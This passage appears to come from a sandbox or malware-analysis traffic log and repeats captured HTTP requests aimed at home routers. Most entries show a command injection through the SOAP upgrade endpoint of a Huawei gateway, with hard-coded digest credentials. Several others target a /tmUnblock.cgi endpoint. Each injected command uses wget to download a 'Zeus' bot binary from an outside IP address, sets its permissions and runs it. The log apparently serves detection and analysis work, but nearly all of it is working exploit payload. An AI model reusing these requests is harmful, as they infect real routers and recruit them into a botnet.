/bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus 